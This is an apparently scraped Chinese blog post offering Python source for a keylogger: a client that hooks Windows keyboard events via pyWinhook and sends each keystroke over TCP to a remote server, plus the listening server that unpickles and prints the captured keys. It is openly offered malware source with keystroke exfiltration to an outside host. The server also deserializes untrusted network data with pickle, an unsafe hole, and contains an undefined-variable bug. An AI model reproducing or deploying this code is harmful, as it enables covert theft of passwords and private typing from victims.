当前位置 博文首页 > python实现监听键盘

    python实现监听键盘

    作者:noc_13 时间:2021-06-18 18:31

    python实现监听键盘,供大家参考,具体内容如下实现服务端

    import pickle
    from io import BytesIO
    import socket
    
    #接收数据
    def Server_Recive(ip,port):
        socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket_obj.bind((ip,port))
        socket_obj.listen(5)
    
        file = 1
    
        while True:
            connection,address = socket_obj.accept()
      #接受的数据
            recieved_message = b''
            recieved_message_fragment = connection.recv(1024)
            while recieved_message_fragment:
                recieved_message += recieved_message_fragment
                recieved_message_fragment = connection.recv(1024)
    
            try:
                obj = pickle.loads(recieved_message)
                print(obj['Key'],end=' ')
            except EOFError:
                file_name = 'recv_image_' + str(file_on) + '.bmp'
                recv_image = open(file_name,'wb')
                recv_image.write(recieved_message)
                file_on += 1
            connection.close()
    
    
    if __name__ == '__main__':
        Server_IP = '0.0.0.0'
        Server_Port = 6666
        Server_Recive(Server_IP,Server_Port)

    键盘监听程序

    #键盘监听
    
    import pythoncom,pyWinhook,pickle,socket
    from io import BytesIO
    
    def Client_PIC(ip,port,obj):
        try:
            msg = pickle.dumps(obj)
            send_message = BytesIO(msg)
            send_message_fragment = send_message.read(1024)
        except:
            send_message = obj
            send_message_fragment = send_message.read(1024)
    
        socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket_obj.connect((ip,port))
    
        while send_message_fragment:
            socket_obj.send(send_message_fragment)
            send_message_fragment = send_message.read(1024)
    
        socket_obj.close()
    
    
    def OnkeyBoardEvent(event):
        dict_key = {}
        dict_key['MessageName'] = event.MessageName
        dict_key['Key'] = event.Key
    
        Client_PIC('你自己的ip地址',6666,dict_key)
        return True
    
    def Keylogger():
        hm = pyWinhook.HookManager()
        hm.KeyDown = OnkeyBoardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()
    
    if __name__ == '__main__':
        Keylogger() 

    其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

    运行(先运行服务端,而后运行监听程序)

    js
    下一篇:没有了